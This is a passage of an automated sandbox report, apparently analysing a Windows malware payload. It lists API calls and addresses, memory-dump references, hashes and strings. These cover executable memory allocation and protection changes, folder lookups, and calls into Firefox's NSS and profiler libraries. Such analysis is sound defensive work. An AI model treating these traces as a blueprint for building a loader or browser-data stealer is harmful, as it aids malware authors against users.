Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

lstrlenA.KERNEL32(00000000), ref: 003D7C9D
lstrlenA.KERNEL32(00000000), ref: 003D7CB1

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e3d3d65cd309b028976a0c88637f9e72cc33dd5350c91ba32a7635f06674fa90
Instruction ID: cbb9dc80de91ad5e99ca31d46ab71e6af5f9adbef96440fc8932bc9d63f41f75
Opcode Fuzzy Hash: e3d3d65cd309b028976a0c88637f9e72cc33dd5350c91ba32a7635f06674fa90
Instruction Fuzzy Hash: C07104779101489FCB06EBB0ED96DFE7378AF54300F54452AF503AA291EF346A08DB62

Function 003D63D0 Relevance: 2.6, APIs: 2, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,00000000,?,?,?,003D688E,00000000), ref: 003D642F
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,?,003D688E,00000000), ref: 003D6463

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cfe7f82a722cfb4f1cbfd0c228cc1976fbcdbf161813e3031799a84fe64f1dc0
Instruction ID: 4c88e097d4a47eaa09e974f8920b6bb329c4f6eb0947510e87efef8f5f915843
Opcode Fuzzy Hash: cfe7f82a722cfb4f1cbfd0c228cc1976fbcdbf161813e3031799a84fe64f1dc0
Instruction Fuzzy Hash: 7621B4723407005BC335CBBADC92BA7B7FAEB80714F14852EEA6EC7390D675A8408644

Function 003D6840 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b736c5502e11ffe838fe1dd361c4ad82600dd7710ea879af688f3490562bec51
Instruction ID: e4c476c8079081ebdb50af7123e92592bdc0e224753f810c83ce5eb28634d70f
Opcode Fuzzy Hash: b736c5502e11ffe838fe1dd361c4ad82600dd7710ea879af688f3490562bec51
Instruction Fuzzy Hash: 74418FB2E002099BDB16DF99E952AAEF7B8BF44310F11416AE828DB311E730DD40CB91

Function 003D6780 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,003D68D6,?,?,?,?,003D68D6,?,?,?,?,00000000), ref: 003D67F5

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: da3e954167572b677c8807717f094fe3dfc765ec1157e8c3c6c616a619a04c4c
Instruction ID: c0e26924a4934659691c98e49d415502bbc6dbfe9d60a8ba3ba0a0b3d443e393
Opcode Fuzzy Hash: da3e954167572b677c8807717f094fe3dfc765ec1157e8c3c6c616a619a04c4c
Instruction Fuzzy Hash: 2711E57260411CDBDB25CF9CE8817A5F3D9FB08308F20492BE959C3741E23AAC509B91

Function 003E0D50 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c30faaaceaf5b3c6704393d8b44fbb3a91380a4eb4b08413478b0ffc37186968
Instruction ID: b6463e83f7c76566848f43ed276066782dd44052b551322d7fb67c047eafc8c5
Opcode Fuzzy Hash: c30faaaceaf5b3c6704393d8b44fbb3a91380a4eb4b08413478b0ffc37186968
Instruction Fuzzy Hash: F3F0A032A1015CABDB11DA58DC91B9EB3FCDB84701F1082A6FA08E72C0DA706F068B90

Function 003E0D10 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,003DB844,?,00000000,?,00000000,003F01E9,003F01E9), ref: 003E0D1D

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b2bf698521f749792f26b199b1b5cea3a0aa67ec944974fd8a014a7693c9af82
Instruction ID: 45e96eddc0511923f8c7aa1aa12595daab1fadd7802d54b6427e5eeb74e27505
Opcode Fuzzy Hash: b2bf698521f749792f26b199b1b5cea3a0aa67ec944974fd8a014a7693c9af82
Instruction Fuzzy Hash: E2E0D672A000681A8B05AAF8E8804EA7308CB103B0B040A22F90E8A2C1DA20AA8083C0

Non-executed Functions

Function 6C3C6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C512120,6C3C7E60), ref: 6C3C6EBC
TlsGetValue.KERNEL32 ref: 6C3C6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C3C6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C3C6F25

Part of subcall function 6C39A900: TlsGetValue.KERNEL32(00000000,?,6C5114E4,?,6C334DD9), ref: 6C39A90F
Part of subcall function 6C39A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C39A94F

PR_Unlock.NSS3 ref: 6C3C6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C3C6FA9
TlsGetValue.KERNEL32 ref: 6C3C70B4
EnterCriticalSection.KERNEL32(?), ref: 6C3C70C8
PR_CallOnce.NSS3(6C5124C0,6C407590), ref: 6C3C7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3C7117
SECOID_Init.NSS3 ref: 6C3C7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C3C714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C71A9
PR_NotifyAllCondVar.NSS3 ref: 6C3C71CF
PR_Unlock.NSS3 ref: 6C3C71DD
free.MOZGLUE(?), ref: 6C3C71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3C7208
free.MOZGLUE(00000000), ref: 6C3C7221
free.MOZGLUE(00000001), ref: 6C3C7235
TlsGetValue.KERNEL32 ref: 6C3C724A
EnterCriticalSection.KERNEL32(?), ref: 6C3C725E
PR_NotifyCondVar.NSS3 ref: 6C3C7273
PR_Unlock.NSS3 ref: 6C3C7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C3C7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3C7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C500148,,defaultModDB,internalKeySlot), ref: 6C3C74CC
free.MOZGLUE(00000000), ref: 6C3C7513
free.MOZGLUE(00000000), ref: 6C3C751B
free.MOZGLUE(00000000), ref: 6C3C7528
free.MOZGLUE(00000000), ref: 6C3C753C
free.MOZGLUE(00000000), ref: 6C3C7550
free.MOZGLUE(00000000), ref: 6C3C7561
free.MOZGLUE(00000000), ref: 6C3C7572
free.MOZGLUE(00000000), ref: 6C3C7583
free.MOZGLUE(00000000), ref: 6C3C7594
free.MOZGLUE(00000000), ref: 6C3C75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C3C75BD
free.MOZGLUE(00000000), ref: 6C3C75C8
free.MOZGLUE(00000000), ref: 6C3C75F1
PR_NewLock.NSS3 ref: 6C3C7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C3C7686
PR_NewLock.NSS3 ref: 6C3C76A2

Part of subcall function 6C4798D0: calloc.MOZGLUE(00000001,00000084,6C3A0936,00000001,?,6C3A102C), ref: 6C4798E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C3C76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C3C7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C3C771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C3C7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C3C774A
DeleteCriticalSection.KERNEL32(?), ref: 6C3C7770
free.MOZGLUE(?), ref: 6C3C7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3C779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3C77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C3C77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C3C77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C3C7821
PORT_Alloc_Util.NSS3(?), ref: 6C3C7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C3C785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C3C786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C3C78AC
free.MOZGLUE(00000000), ref: 6C3C78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C3C78F3
free.MOZGLUE(00000000), ref: 6C3C78FC
free.MOZGLUE(00000000), ref: 6C3C791C

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

Strings

extern:, xrefs: 6C3C772B
Spac, xrefs: 6C3C7389
rdb:, xrefs: 6C3C7744
NSS Internal Module, xrefs: 6C3C74A2, 6C3C74C6
dll, xrefs: 6C3C788E
sql:, xrefs: 6C3C76FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C3C74C7
kbi., xrefs: 6C3C7886
,defaultModDB,internalKeySlot, xrefs: 6C3C748D, 6C3C74AA
dbm:, xrefs: 6C3C7716

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 2b41ee936cc5b575ba4892b1d3c6c5aa21453bf2b8b7aa652645eb0f299ea2c8
Instruction ID: 78af2067c387a9557acde3d5e757aefcee71511affa69429db0b7666d42a5f6a
Opcode Fuzzy Hash: 2b41ee936cc5b575ba4892b1d3c6c5aa21453bf2b8b7aa652645eb0f299ea2c8
Instruction Fuzzy Hash: 1152D1B1F012059BEB11DF64CC4ABAE7BB4AF06308F154028ED59A6A51E732DD54CFA3

Function 6C2A5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C2A5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C2A54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C2A54BE
__Init_thread_footer.LIBCMT ref: 6C2A54DB

Part of subcall function 6C2CAB3F: EnterCriticalSection.KERNEL32(6C31E370,?,?,6C293527,6C31F6CC,?,?,?,?,?,?,?,?,6C293284), ref: 6C2CAB49
Part of subcall function 6C2CAB3F: LeaveCriticalSection.KERNEL32(6C31E370,?,6C293527,6C31F6CC,?,?,?,?,?,?,?,?,6C293284,?,?,6C2B56F6), ref: 6C2CAB7C

Part of subcall function 6C2CCBE8: GetCurrentProcess.KERNEL32(?,6C2931A7), ref: 6C2CCBF1
Part of subcall function 6C2CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2931A7), ref: 6C2CCBFA

GetCurrentThreadId.KERNEL32 ref: 6C2A54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C2A5516
GetCurrentThreadId.KERNEL32 ref: 6C2A556A
AcquireSRWLockExclusive.KERNEL32(6C31F4B8), ref: 6C2A5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C2A5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C2A5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C2A55E6
ReleaseSRWLockExclusive.KERNEL32(6C31F4B8), ref: 6C2A5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2A5616

Part of subcall function 6C2CAB89: EnterCriticalSection.KERNEL32(6C31E370,?,?,?,6C2934DE,6C31F6CC,?,?,?,?,?,?,?,6C293284), ref: 6C2CAB94
Part of subcall function 6C2CAB89: LeaveCriticalSection.KERNEL32(6C31E370,?,6C2934DE,6C31F6CC,?,?,?,?,?,?,?,6C293284,?,?,6C2B56F6), ref: 6C2CABD1

GetCurrentThreadId.KERNEL32 ref: 6C2A563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C2A5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C2A567C
free.MOZGLUE(?), ref: 6C2A56AE

Part of subcall function 6C2B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C2B5EDB
Part of subcall function 6C2B5E90: memset.VCRUNTIME140(ew/l,000000E5,?), ref: 6C2B5F27
Part of subcall function 6C2B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C2B5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C2A56E8
GetCurrentThreadId.KERNEL32 ref: 6C2A5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C2A570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C2A5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C2A574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C2A576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C2A5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C2A57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C2A57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C2A5B38
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C2A5C56
